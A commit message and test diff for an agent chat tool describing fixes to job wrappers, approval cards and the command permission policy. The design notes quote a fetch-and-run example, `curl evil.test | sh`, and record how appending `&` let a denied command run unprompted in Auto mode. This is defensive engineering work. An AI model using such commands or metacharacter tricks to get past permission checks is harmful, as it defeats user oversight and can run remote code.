Four things that failed silently in an agent chat, and an account of the work

Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.

**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.

**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.

**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.

**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.

Two more found while fixing them:

**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.

**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.

And, because an agent that works for ten minutes should be readable while it
does:

**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.

**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Jaroslav Beneš
2026-08-03 21:58:42 +02:00
parent 6cffcb357d
commit 7c51dc306d
23 changed files with 1305 additions and 68 deletions
+56
View File
@@ -114,6 +114,41 @@ def test_the_command_is_never_in_a_quoted_context():
assert cmd in inner, "the command was lost in the base64 round-trip"
def test_every_wrapper_is_valid_shell():
"""`sh -n` parses without executing.
The one that would have caught it: `{log}` for `{logf}` formatted the module
logger into the launch-and-wait wrapper, and `<Logger … (WARNING)>` is shell
syntax. The error landed after the sentinel, where nothing reads it, so the
command still worked and the cleanup silently never ran.
"""
import subprocess
wrappers = [
jobs.launch_command("chatx", "abc123abc123", "echo hi"),
jobs.launch_and_wait_command("chatx", "abc123abc123", "echo hi", 4096),
jobs.read_command("chatx", "abc123abc123", 4096),
jobs.stop_command("chatx", "abc123abc123"),
jobs.cleanup_command("chatx", "abc123abc123"),
]
for wrapper in wrappers:
done = subprocess.run(
["sh", "-n"], input=wrapper, capture_output=True, text=True, check=False
)
assert done.returncode == 0, f"not valid shell:\n{wrapper}\n{done.stderr}"
def test_launch_and_wait_removes_every_file_it_made():
"""Its last line is the only cleanup on the fast path -- nothing calls
`_cleanup` when a command finishes in time."""
wrapper = jobs.launch_and_wait_command("chatx", "abc123abc123", "echo hi", 4096)
removal = next(line for line in wrapper.splitlines() if line.startswith("rm -f"))
for extension in ("sh", "pid", "log", "exit"):
assert jobs._file("chatx", "abc123abc123", extension) in removal, extension
assert "<Logger" not in wrapper
def test_parse_reads_the_last_sentinel():
out = ("line one\n__LEMBAS_jobjobjob01__:0\nmore\n__LEMBAS_jobjobjob01__:0")
done = jobs.parse_completed(out, "jobjobjob01")
@@ -136,6 +171,27 @@ async def test_a_fast_command_completes_like_a_foreground_one(tmp_path):
assert not jobs.for_chat(agent.chat_id), "a finished command is not a job"
async def test_a_fast_command_leaves_nothing_behind(tmp_path):
"""With background on, *every* command goes through the wrapper, so a
cleanup that does not run is four files per command on somebody's machine --
including the log, which holds everything the command printed."""
import os
import pathlib
import uuid
# Its own chat id, so the directory is exclusively this run's. Job files are
# namespaced by chat, so that is isolation by construction rather than by
# tidying up after a previous run -- which is what a shared id would need,
# and would quietly pass the moment the tidying broke.
chat_id = uuid.uuid4().hex[:12]
agent = _agent(tmp_path, chat_id=chat_id)
await _run_shell(_context(agent), {"command": "echo hello"})
root = pathlib.Path(os.environ.get("TMPDIR", "/tmp")) / "lembas-jobs" / chat_id
left = sorted(p.name for p in root.iterdir()) if root.exists() else []
assert left == [], f"left behind: {left}"
async def test_a_nonzero_exit_is_read_from_the_exit_file_not_the_wrapper(tmp_path):
"""The wrapper's own status is ~0 from its trailing rm; the command's real
status is in the exit-file."""